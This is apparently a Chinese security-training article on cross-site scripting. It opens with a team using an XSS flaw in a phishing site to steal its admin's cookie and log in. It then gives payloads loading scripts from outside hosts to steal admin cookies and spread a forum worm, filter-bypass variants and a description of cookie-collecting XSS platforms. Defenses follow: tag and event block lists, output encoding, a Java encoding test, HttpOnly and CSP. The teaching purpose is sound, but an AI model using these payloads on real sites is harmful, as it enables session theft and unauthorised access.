米桃安全漏洞讲堂系列第2期：XSS跨站脚本攻击漏洞

一、一次钓鱼攻击引发的反制

某日，安全团队收到监控预警，有外部人员使用钓鱼邮件对公司内部人员进行信息诈骗。安全团队立即开始分析事件进程。
攻击者以劳动补贴名义群发邮件，诱导内部员工扫描二维码，进而填写个人信息、银行卡等敏感内容。

安全团队立即开始对邮件进行溯源。
首先，扫描该二维码，跳转到钓鱼邮件域名为
https://4z3ichiecr.512kasmdkasijdiashdjdfdfpewkpxxxxxxxxxx.cn/okok168
ip地址为：
150.129.123.123（香港服务器）

经测试，该钓鱼邮件页面中前端页面存在跨站脚本攻击漏洞，利用该漏洞，安全团队进行反钓鱼试验。等待钓鱼平台管理人员上线。
经过一天的等待，终于有了突破，钓鱼平台人员上线，我方通过预埋的跨站脚本攻击漏洞获取了网站后台管理员账号cookie信息。顺利登录该后端平台。

登录后确认该平台为攻击来源，确认受害者信息、范围、金额，并锁定后台人员登录ip、身份等信息。完成溯源工作。为后续法律方面推进工作提供了有利支持。
上述钓鱼反制的关键角色，就是本文要讲述的主角：跨站脚本攻击漏洞。

二、跨站脚本攻击漏洞原理（XSS）

2.1 漏洞原理

跨站脚本攻击（Cross Site Scripting，以下简称XSS）。
本应缩写为CSS，但由于CSS（Cascading Style Sheets，层叠样式脚本）重名，所以更名为XSS。
XSS（跨站脚本攻击）是指攻击者在网页中嵌入客户端脚本(如JavaScript)，当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的。比如获取用户的Cookie，导航到恶意网站，携带木马等。

2.2 漏洞类型分类

XSS漏洞可分为三类。

  • 反射型XSS
    跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码一般不存储到服务端。
  • 存储型XSS
    这是利用起来最方便的跨站类型，跨站代码存储于服务端（比如数据库中）。用户每次访问相应的页面，客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。
  • DOM型XSS
    —种基于DOM的跨站，这是客户端脚本自身解析不正确导致的安全问题。DOM XSS 是由于浏览器解析机制导致的漏洞，服务器不参与，而存储型与反射型都需要服务器响应参与。

2.3 漏洞危害

XSS漏洞的危害不仅局限于弹窗这种骚扰方式，按危害发生位置来划分，可分为客户端、服务端两类。总结如下，

客户端危害：
  • 窃取cookie（包括ip、ua等）
  • 自动转发邮件
  • 放马（webshell）
  • 刷流量
服务端危害：
  • 劫持后台
  • 篡改页面
  • 蠕虫传播
  • 内网扫描

通过以下两个例子，说明XSS的危害性。

2.4 XSS漏洞案例

案例一、使用XSS漏洞成功登录某后台系统

某业务系统，机器人客服对话功能中，允许攻击者输入XSS攻击代码，如<sCRiPt/SrC=//xssxss.com/zLko>

系统后端管理人员，只要查看攻击者提交的对话内容，系统会自动执行xss攻击语句，获取事先定制的管理用户数据。
通过XSS后端打码平台（下文详述），获取后台用户cookie数据。效果如下。

攻击者可通过获取的cookie数据，以后台用户的身份成功登录系统后台并进行操作。

案例二、利用XSS组合漏洞对论坛进行蠕虫传播
  • 1、论坛发帖处，发现存储型XSS漏洞
    论坛发帖处，观察到可以大小写混淆绕过，于是构造payload（对于屏蔽括号的可以用 ’ 来代替）。
<sCript>alert`xss`</sCript>


可弹窗。

  • 2、XSS漏洞配合CSRF漏洞，实现自动发帖子
    CSRF（跨站请求伪造，后续系列文章中详述），是指通过伪装来自受信任用户的请求来利用受信任的网站。发帖处也存在该漏洞。构造发帖js，如下：

    然后利用XSS平台重新重新构造访问该js的攻击语句）。
<sCRiPt/SrV=//60.wf/ORxV>


普通用户浏览存在攻击语句的帖子，即会自动进行发帖。
以下为存在危害的帖子，普通用户完成浏览。

查看普通用户的发帖记录。已成功自动发帖。

  • 3、构建子帖结构，形成蠕虫攻击
    上述两步完成了自动发帖，要形成蠕虫攻击效果，只需要将子帖内容403重定向至母帖（最初攻击帖），访问母帖后自动创建新帖，子帖再转回母帖，完成攻击。
    关键payload：
<embed/src=/xxxxxx.com/web/normal/topic/806440>


三、检测方法

3.1 基础XSS弹窗检测

跨站脚本攻击XSS，应在信息系统建设阶段重点测试及修复。

漏洞检测需要考虑到输入限制、过滤、长度限制等因素，因此需要设计各种不容的变体输入，以达到测试效果，也可以使用BurpSuite等抓包工具来获取请求后手工修改请求参数，然后重新提交到服务端来测试，因为XSS并不限于可见的页面输入，还有可能是隐藏表单域、get请求参数等。

具体的测试对象可包括：页面输入处、url参数和http请求中的跨站脚本漏洞。
最常见的跨站脚本的方法，输入<Script>alert(1)</script>以及它的各种变体：

<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</script> 
%3Cscript%3Ealert(1)%3C/script%3E
<script x=1>alert(1)</script x=1>
<script>confirm(1)</script>
<svg/onload=alert`1`>
"--><Svg/Onload=alert(1)>'";alert(1);x="'
<img src=alert(1)>
<sc<script>ript>alert(/1/)</script> 
<javascript:alert(1)>;

变体XSS攻击语句，主要是针对服务端防护不全的场景。绕过XSS防护的方式包括：

1、html标签、JavaScript事件尝试；
2、大小写绕过，如<ScRiPt>
3、主动闭合标签实现注入代码 
4、混淆，如<<script>
5、特殊字符转义Unicode或ascii、base64等的方式

例如，提交XSS攻击语句<script>alert(document.cookie)</script>后，页面弹出警告框，则该页面存在XSS漏洞。如下：

存储型跨站脚本攻击测试方法与反射型类似，区别在于存储型跨站脚本攻击的检测内容主要是Web应用程序向用户提供的可添加新内容并持久存储的Web表单。通过对每个可能存在攻击点的Web表单插入攻击字符串，进行检测。

3.2 XSS进阶利用——XSS打码平台

对于有经验的攻击者，通常使用XSS打码平台实施攻击。XSS平台，通常可以记录访问的url，访问时的cookie等。稍微复杂的功能，可能还会记录键盘输入，获取页面源码，截取网页屏幕等。
相应的功能可在平台进行定制，例如，

勾选相应模块后，系统会自动生成各种类型的攻击语句（结合上述绕过思路）。

攻击者将相应的语句嵌入被攻击平台，静等后台受害者上线即可。以下为攻击者成功获取用户信息的界面。

3.3 自动化漏洞检测方案

除了手工测试外，企业也可采用自动化漏洞扫描方案。

  • DAST黑盒扫描。动态应用安全测试，黑盒测试。可输入扫描目标，配置登录信息后，启动扫描XSS漏洞。如Xray、AWVS等。
  • IAST扫描。交互式应用程序安全测试。可在测试阶段，由测试人员执行，工具被动系统XSS漏洞。
  • SAST扫描。源代码扫描。白盒工具。从源码层面扫描不规范的写法，提示XSS漏洞风险。

四、防御措施

企业作为信息平台提供方，如何防御跨站脚本漏洞，可以从XSS漏洞的攻击流程入手。
完整的XSS攻击流程包括五步。攻击者发现XSS漏洞——构造攻击代码，植入功能点——被害人主动或被动访问功能——前端（浏览器）执行代码——获取受害人信息如cookie。

从攻击流程判断，平台方可以从XSS攻击语句的输入、输出阶段进行介入，打断攻击流程，完成攻击防御。

跨站脚本攻击漏洞防御总体思路可总结为：输入过滤，输出编码。

4.1 输入过滤（过滤器、黑名单、白名单）

4.1.1 事件标签过滤

XSS攻击语句多为HTML、JavaScript事件标签。可通过过滤标签的方式，破坏攻击者构造的攻击语句。

  • 过滤HTML标签或转义特殊字符
如过滤<script>、<iframe>等，将“<”转义成“&lt;”、“>”转义成“&gt;”、“"”转义成“&quot;”、“&”转义 成“&amp;” 等。
  • 过滤JavaScript 事件的标签
如 "onclick=", "onfocus" 等。

总结常见HTML、JavaScript常见标签如下：

HTML5标签
<svg>
<audio>
<video>
<math>
<link>
<details>
<canvas>
<article>
<progress>
<command>HTML4标签
<base>
<frameset>
<iframe>
<frame>
<body>
<object>
<script>
<style>
<img>
<div>
<li>
<embed>
<input>
<title>
<bgsound>
<h1>-<h6>
<hr>
<textarea>
<menu>
<a>
<p>
<em>
<span>
<strong>
<smail>
<label>常见事件
onclick
onload
onmouseover
onerror
onfocus
onblur
onmouseout
onmousemove
onmousedown
onmouseup
ontoggle
4.1.2 特殊字符过滤

除了常见的HTML、JavaScript标签过滤。还可以对特殊字符进行过滤。一般建议过滤掉双引号（”）、尖括号（<、>）等特殊字符，或者对客户端提交的数据中包含的特殊字符进行实体转换，比如将双引号（”）转换成其实体形式"，<对应的实体形式是<，<对应的实体形式是>。
以下为需过滤的常见字符：

|（竖线符号）
&（&符号）
;（分号）
$（美元符号）
%（百分比符号）
@（at符号）
'（单引号）
"（引号）
\'（反斜杠转义单引号）
\"（反斜杠转义引号）
<>（尖括号）
()（括号）
+（加号）
CR（回车符，ASCII 0x0d）
LF（换行，ASCII 0x0a）
,（逗号）
\（反斜杠）
4.1.3 用户输入内容格式限制

另外，也可以对用户输入内容格式进行限制。对于用户输入的校验，要求最终落地在服务端，因为前端js限制可通过抓包等形式绕过。

  • 客户端限制。如限定输入字符类型、长度、正负数校验。
  • 服务端只接受用户输入期望的数据。 如，年龄的textbox中，只允许用户输入数字，而数字之外的字符均作过滤。

4.2 输出编码（转义）

上述输入过滤的方式，在用户输入阶段入手，存在被绕过的可能（参见第三章XSS绕过方法）。
防守方还可以从系统输出入手，对系统输出到前端（浏览器）的语句作转义处理。用来确保输入的字符被视为数据，而不是作为html、js被浏览器所解析。转义比过滤更推荐。

变量输出到不同环境，使用不同的输出编码，项目中较多的是输出到html实体（Html Encode）、输出到js中、或从js输出到html实体中。

可以根据不同的输出域选择转义方法：

  • 可使用ESAPI或者common-langjar的 StringEscapeUtils类或者Spring的HtmlUtils来实现
  • ESAPI.encoder().encodeForHTML，HTML转义。就是将字符转换成HTMLEntities，一般会转（&、<、>、"、'、/）这6个字符。
  • ESAPLencoder().encodeForHTMLAttribute，HTML标签属性转义。
  • ESAPIencoder().encodeForlava Saript，JavaScript数据转义，是使用”\“对特殊字符进行转义。
  • ESAPI.encoder().encodeForURL，URL数据转义。

在请求返回页面关键字符进行特殊字符转义，总结如下：

< 转成 &lt;
> 转成 &gt;
& 转成 &amp;
" 转成 &quot;
' 转成 &#39
\ 转成 \\
/ 转成 \/
; 转成 ；(全角;)

综上，结合“输入过滤、输出编码”的整体原则，研发人员可参考如下XSS安全编码示例（XssSecureCodeSample.java）。

package com.security.securecodesample;
import org.junit.Assert;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;public class XssSecureCodeSample extends TestCase {public static void XssFilterSample1(String toFilterString, String expectedResult) {boolean XSSFlag = false;String[] toFilters = { "<script", "<frameset", "<iframe", "<frame","<body", "<object", "<style", "<img", "<div", "<li", "<embed","<input", "<a", "<title", "<bgsound" };String temp = toFilterString.toLowerCase();for (String s: toFilters) {if (temp.contains(s)) {XSSFlag = true;break;}}if (XSSFlag) {String result = "illegal!";Assert.assertEquals(result, expectedResult);}	else {String result = "legal!";Assert.assertEquals(result, expectedResult);}}public static void XssHtmlEncodeSample1(String toFilterString, String expectedResult) {String result = htmlEncode(toFilterString);Assert.assertEquals(result, expectedResult);}public static void XssHtmlAttributeEncodeSample1(String toFilterString, String expectedResult) {String result = htmlAttributeEncode(toFilterString);Assert.assertEquals(result, expectedResult);}public static void UrlEncodeSample1(String toFilterString, String expectedResult) {String result = urlEncode(toFilterString);Assert.assertEquals(result, expectedResult);}public static void UnicodeEncodeSample1(String toFilterString, String expectedResult) {String result = javaScriptEncoding(toFilterString);Assert.assertEquals(result, expectedResult);}public static void CSSEncodeSample1(String toFilterString, String expectedResult) {String result = CSSHexEncoding(toFilterString);Assert.assertEquals(result, expectedResult);}/*Convert & to &amp;Convert < to &lt;Convert > to &gt;Convert " to &quot;Convert ' to &#x27;Convert / to &#x2F;*/public static String htmlEncode(String toFilterString) {StringBuffer sb = new StringBuffer();for(int i = 0 ; i < toFilterString.length() ; i ++) {char c = toFilterString.charAt(i);switch (c) {case '&': sb.append("&amp;");break;case '<':sb.append("&lt;");break;case '>':sb.append("&gt;");break;case '"': sb.append("&quot;");break;case '\'':sb.append("&#x27;");break;case '/':  sb.append("&#x2F;");break;default:sb.append(c);					}}String result = sb.toString();//System.out.println(result);return result;}/** Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH;* format, including spaces. (HH = Hex Value)*/public static String htmlAttributeEncode(String toFilterString) {String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";StringBuffer sb = new StringBuffer();for(int i = 0 ; i < toFilterString.length() ; i ++) {char c = toFilterString.charAt(i);String cc = c + "";if (table.contains(cc)) {sb.append(c);	} else {sb.append("&#" + Integer.toHexString((int)c) + ";");}}String result = sb.toString();System.out.println(result);return result;}/** CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence.* There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping* possible by zero padding the value.*/public static String CSSHexEncoding(String s) {StringBuilder sb = new StringBuilder(s.length() * 3);for (char c : s.toCharArray()) {sb.append("\\");sb.append(Character.forDigit((c >>> 20) & 0xf, 16));sb.append(Character.forDigit((c >>> 16) & 0xf, 16));sb.append(Character.forDigit((c >>> 12) & 0xf, 16));sb.append(Character.forDigit((c >>> 8) & 0xf, 16));sb.append(Character.forDigit((c >>> 4) & 0xf, 16));sb.append(Character.forDigit((c) & 0xf, 16));}System.out.println(sb.toString());return sb.toString();}public static String unicodeEncoding(String s) {StringBuilder sb = new StringBuilder(s.length() * 3);for (char c : s.toCharArray()) {sb.append("\\u");sb.append(Character.forDigit((c >>> 12) & 0xf, 16));sb.append(Character.forDigit((c >>> 8) & 0xf, 16));sb.append(Character.forDigit((c >>> 4) & 0xf, 16));sb.append(Character.forDigit((c) & 0xf, 16));}//System.out.println(sb.toString());return sb.toString();}public static String javaScriptEncoding(String toFilterString) {String table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";StringBuffer sb = new StringBuffer();for(int i = 0 ; i < toFilterString.length() ; i ++) {char c = toFilterString.charAt(i);String cc = c + "";if (table.contains(cc)) {sb.append(c);	} else {sb.append(unicodeEncoding(cc));}			}String result = sb.toString();System.out.println(result);return result;}public final static String[] encodeTable = new String[256];static{for(int i = 0 ; i < 256 ; i++){if(i >='0' && i <= '9' || i >= 'a' && i <= 'z' || i >= 'A' && i <= 'Z' || i == '-' || i == '_' || i == '.'){encodeTable[i] = (char)i + "";}else{encodeTable[i] = "%" + String.format("%02x",i).toUpperCase();}}}/** URLEncode Except for alphanumeric characters, escape all characters with the \\uXXXX unicode escaping format (X = Integer).*/public static String urlEncode(final String sourceStr){final StringBuilder sb = new StringBuilder();for(int i = 0 ; i < sourceStr.length() ; i++){sb.append(encodeTable[(int)sourceStr.charAt(i) & 0xFF]);}return sb.toString();}public static Test suite() {return new TestSuite(XssSecureCodeSample.class);}public void testFilter1() {XssFilterSample1("<script>alert(123)</script>", "illegal!");XssFilterSample1("userdata", "legal!");}public void testEncode1() {XssHtmlEncodeSample1("<script>alert(123)</script>", "&lt;script&gt;alert(123)&lt;&#x2F;script&gt;");XssHtmlAttributeEncodeSample1("javascript:alert(123)", "javascript&#3a;alert&#28;123&#29;");UrlEncodeSample1("<sciprt>alert(123)</alert>", "%3Csciprt%3Ealert%28123%29%3C%2Falert%3E");UnicodeEncodeSample1("var a = 1;", "var\\u0020a\\u0020\\u003d\\u00201\\u003b");CSSEncodeSample1("back-ground:url", "\\000062\\000061\\000063\\00006b\\00002d\\000067\\000072\\00006f\\000075\\00006e\\000064\\00003a\\000075\\000072\\00006c");}public static void main(String[] args) {junit.textui.TestRunner.run(suite());}
}

4.3 浏览器前端XSS防护设置

除了上述从后端源码层面的XSS防护。还可以从浏览器（前端）层面进行相关安全配置，实现XSS防护。具体如下。

4.3.1 cookie增加HttpOnly属性（同源策略）

建议如果网站基于cookie而非服务器端的验证，建议加上HttpOnly，当然，目前这个属性还不属于任何一个标准，也不是所有的浏览器支持，设置cookie的代码：

response.setHeader("SET-COOKIE","user=" + request.getParameter("cookie") + "; HttpOnly");

本段代码设置了http only属性，攻击者无法通过Javascript 中的document.cookie语句获取用户Cookie信息。

4.3.2 设置X-XSS-Protection属性

该属性被所有的主流浏览器默认开启。X-XSS-Protection，即XSS保护属性，是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时，停止渲染页面。

4.3.3 开启CSP网页安全策略

CSP是网页安全策略(Content Security Policy)的缩写。
开启策略后可以起到以下作用：

  • 禁止加载外域代码，防止复杂的攻击逻辑；
  • 禁止外域提交，网站被攻击后，用户的数据不会泄露到外域；
  • 禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）；
  • 禁止未授权的脚本执行（新特性，Google Map 移动版在使用）；
  • 合理使用上报可以及时发现 XSS，利于尽快修复问题。

五、总结展望

本文结合实际使用案例，简要讲述了跨站脚本攻击漏洞XSS的原理、危害、测试方法及防御措施。
XSS漏洞形成的根本原因是，用户过分信任网站，放任来自浏览器地址栏代表的那个网站代码在自己本地任意执行。如果没有浏览器的安全机制限制，XSS代码可以在用户浏览器为所欲为。
对于XSS的防御，更多的是客户端侧的任务。故业界有人戏称"CSRF是服务端程序员的锅，XSS是客户端程序员的锅"。

系列往期链接

米桃安全漏洞讲堂系列第1期：SQL注入漏洞

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